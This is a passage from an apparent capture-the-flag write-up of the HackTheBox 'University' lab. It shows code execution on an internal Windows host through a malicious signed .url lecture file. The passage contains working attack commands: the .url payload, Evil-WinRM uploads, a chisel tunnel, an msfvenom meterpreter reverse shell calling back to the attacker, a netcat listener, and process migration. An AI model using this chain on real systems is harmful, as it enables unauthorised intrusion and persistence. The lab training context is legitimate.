Assessment
As the martin.rose
user, who is a “professor” user, I was able to create a new course and add a new lecture, which required generating an arbitrary GPG key pair and updating the GPG public key of the martin.rose
user, so that the target web application is able to conduct signature validation against the signed lecture.zip.sig
file, resulting in successful payload delivery.
- According to the instruction, the lecture itself takes in
.docx
,.pptx
,.pdf
and.url
formats. - Additionally, I have found that there is a PowerShell script located in the
C:\Program Files\Automation-Scripts
directory on thews-3.university.htb
host that appears to perform a form of processing on those supposedly uploaded lecture files.- Another thing to point out is that there is no software instance installed that can process the
.docx
,.pptx
,.pdf
files on bothdc.university.htb
andws-3.university.htb
hosts- Based on this factor, it leaves only the
.url
file format for a possible attack vector - Thus, it might be possible to get code execution through a malicious
.url
file
- Based on this factor, it leaves only the
- Another thing to point out is that there is no software instance installed that can process the
Windows Internet Shortcut
Windows Internet Shortcut files, typically with the .url
extension, are used to store the URL of a web page. These files are plain text and contain the internet address along with metadata such as the icon location and working directory. When double-clicked, they open the specified URL in the user’s default web browser. They are commonly used for quickly accessing websites or organizing web links on a desktop or within a file system.
Windows Internet Shortcut files can be exploited by embedding malicious URLs, leading to phishing attacks or drive-by downloads when opened, potentially compromising the system. Attackers can also manipulate these files to execute arbitrary commands or scripts by exploiting the way Windows handles certain parameters within the shortcut.
Most important thing here is that there is no limit to protocol used, and it makes it a well-known trick among adversaries
┌──(kali㉿kali)-[~/archive/htb/labs/university]
└─$ cat lecture.url
[InternetShortcut]
URL=file:C:\\tmp\\r_to_dc.exe
I will first create a URL file that points to the reverse shell executable located at C:\tmp\r_to_dc.exe
on the wc-3.university.htb
host
Key to the URL
attribute is not limited to http
/https
, but filesystem and network share over the UNC path
┌──(kali㉿kali)-[~/archive/htb/labs/university]
└─$ zip lecture.zip ./lecture.url
updating: lecture.url (stored 0%)
Then, I will archive the lecture.url
file into the lecture.zip
file
┌──(kali㉿kali)-[~/archive/htb/labs/university]
└─$ gpg -u martin.rose --detach-sign ./lecture.zip
File './lecture.zip.sig' exists. Overwrite? (y/N) y
I will re-sign the lecture.zip
file since the content has now changed
Reverse Shell Delivery
*Evil-WinRM* PS C:\tmp> hostname
WS-3
*Evil-WinRM* PS C:\tmp> upload r_to_dc.exe
Info: Uploading /home/kali/archive/htb/labs/university/r_to_dc.exe to C:\tmp\r_to_dc.exe
Data: 9556 bytes of 9556 bytes copied
Info: Upload successful!
Using the existing WinRM session to the wc-3.university.htb
host, I can delivery the reverse shell executable
This will be invoked by the lecture.url
file
Relay (Port Forwarding)
If that .url
file indeed gets processed by the PowerShell script in the ws-3.university.htb
host, code execution will be done in that system. Since the ws-3.university.htb
host is an internal Hyper-V instance that can only reach the dc.university.htb
host through the 192.168.99.0/24
network, it would not be able to directly reach Kali. Therefore, I would need to come up with a solution to relay the inbound connection on the dc.university.htb
to Kali
*Evil-WinRM* PS C:\tmp> hostname
DC
*Evil-WinRM* PS C:\tmp> Start-Job { & "C:\tmp\chiselx64.exe" client -v --fingerprint "8443IPhrpg+yXXoeL6P6hMa27IWm3vJnYYYsBkKECLg=" 10.10.14.85:55555 192.168.99.1:6666:10.10.14.85:5555 }
Id Name PSJobTypeName State HasMoreData Location Command
-- ---- ------------- ----- ----------- -------- -------
3 Job3 BackgroundJob Running True localhost & "C:\tmp\chiselx64.e...
Leveraging the existing chisel server running on the Kali port 55555
, I can setup a relay (port forwarding) from 192.168.99.1:6666
to 10.10.14.85:5555
, effectively rendering the dc.university.htb
host as a relay point between the ws-3.university.htb
and Kali
Tunnel established
Exploitation
Successfully uploaded
┌──(kali㉿kali)-[~/archive/htb/labs/university]
└─$ nnc 5555
listening on [any] 5555 ...
connect to [10.10.14.85] from (UNKNOWN) [10.10.14.85] 50784
Microsoft Windows [Version 10.0.17763.3650]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
whoami
university\martin.t
C:\Windows\system32> hostname
hostname
WS-3
C:\Windows\system32> ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Ethernet 3:
Connection-specific DNS Suffix . :
Link-local IPv6 Address . . . . . : fe80::349:6988:18c6:65c6%8
IPv4 Address. . . . . . . . . . . : 192.168.99.2
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . :
Lateral Movement made to the martin.t
user on the ws-3.university.htb
host via chaining exploits
Meterpreter
The established session is experiencing instability. An upgrade to a more robust Meterpreter session will be attempted to enhance its reliability.
┌──(kali㉿kali)-[~/archive/htb/labs/university]
└─$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.99.1 LPORT=6666 -f exe -o msf.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: msf.exe
Generating a meterpreter reverse shell; msf.exe
*Evil-WinRM* PS C:\tmp> hostname
WS-3
*Evil-WinRM* PS C:\tmp> upload msf.exe
Info: Uploading /home/kali/archive/htb/labs/university/msf.exe to C:\tmp\msf.exe
Data: 9556 bytes of 9556 bytes copied
Info: Upload successful!
Uploading the newly generated meterpreter reverse shell to the ws-3.university.htb
host
┌──(kali㉿kali)-[~/archive/htb/labs/university]
└─$ cat lecturev2.url
[InternetShortcut]
URL=file:C:\\tmp\\msf.exe
┌──(kali㉿kali)-[~/archive/htb/labs/university]
└─$ zip lecturev2.zip ./lecturev2.url
adding: lecturev2.url (stored 0%)
┌──(kali㉿kali)-[~/archive/htb/labs/university]
└─$ gpg -u martin.rose --detach-sign ./lecturev2.zip
Updating the lecture archive. This should execute the newly generated meterpreter reverse shell above
┌──(kali㉿kali)-[~/…/htb/labs/university/msf]
└─$ msfconsole -q
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.14.85
LHOST => 10.10.14.85
msf6 exploit(multi/handler) > set LPORT 5555
LPORT => 5555
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.14.85:5555
Listener is all set and running
Uploaded
Meterpreter session established
meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process]
4 0 System
68 4 Registry
264 1908 CompatTelRunner.exe
300 4 smss.exe
324 608 svchost.exe
344 608 svchost.exe
364 608 svchost.exe
372 608 svchost.exe
408 400 csrss.exe
484 476 csrss.exe
496 400 wininit.exe
544 476 winlogon.exe
608 496 services.exe
616 496 lsass.exe
628 608 svchost.exe
716 608 svchost.exe
736 544 fontdrvhost.exe
744 496 fontdrvhost.exe
808 1000 sihost.exe x64 1 UNIVERSITY\Martin.T C:\Windows\System32\sihost.exe
812 608 svchost.exe
864 608 svchost.exe
908 544 dwm.exe
960 3388 conhost.exe x64 1 UNIVERSITY\Martin.T C:\Windows\System32\conhost.exe
1000 608 svchost.exe
1008 608 svchost.exe
1108 608 svchost.exe
1132 716 wsmprovhost.exe
1340 608 svchost.exe
1356 716 WmiPrvSE.exe
1432 608 svchost.exe
1440 608 svchost.exe
1448 608 VSSVC.exe
1532 608 svchost.exe
1628 1908 conhost.exe
1724 608 svchost.exe x64 1 UNIVERSITY\Martin.T C:\Windows\System32\svchost.exe
1812 608 svchost.exe
1908 1000 CompatTelRunner.exe
2028 608 svchost.exe
2100 1000 taskhostw.exe x64 1 UNIVERSITY\Martin.T C:\Windows\System32\taskhostw.exe
2700 364 ctfmon.exe x64 1
3024 608 svchost.exe
3080 2676 explorer.exe x64 1 UNIVERSITY\Martin.T C:\Windows\explorer.exe
3096 716 RuntimeBroker.exe x64 1 UNIVERSITY\Martin.T C:\Windows\System32\RuntimeBroker.exe
3172 608 msdtc.exe
3192 2964 r_to_dc.exe x64 1 UNIVERSITY\Martin.T C:\tmp\r_to_dc.exe
3388 3192 cmd.exe x64 1 UNIVERSITY\Martin.T C:\Windows\System32\cmd.exe
3400 716 ShellExperienceHost.ex x64 1 UNIVERSITY\Martin.T C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\Shell
e ExperienceHost.exe
3524 716 SearchUI.exe x64 1 UNIVERSITY\Martin.T C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy
\SearchUI.exe
3576 716 RuntimeBroker.exe x64 1 UNIVERSITY\Martin.T C:\Windows\System32\RuntimeBroker.exe
3712 716 RuntimeBroker.exe x64 1 UNIVERSITY\Martin.T C:\Windows\System32\RuntimeBroker.exe
3796 3080 shutdown.exe x64 1 UNIVERSITY\Martin.T C:\Windows\System32\shutdown.exe
3804 3796 conhost.exe x64 1 UNIVERSITY\Martin.T C:\Windows\System32\conhost.exe
4076 3388 msf.exe x64 1 UNIVERSITY\Martin.T C:\tmp\msf.exe
There is an explorer.exe
process (3080
) by the current user, martin.t
meterpreter > migrate 3080
[*] Migrating from 4076 to 3080...
[*] Migration completed successfully.
I will migrate the current meterpreter session to it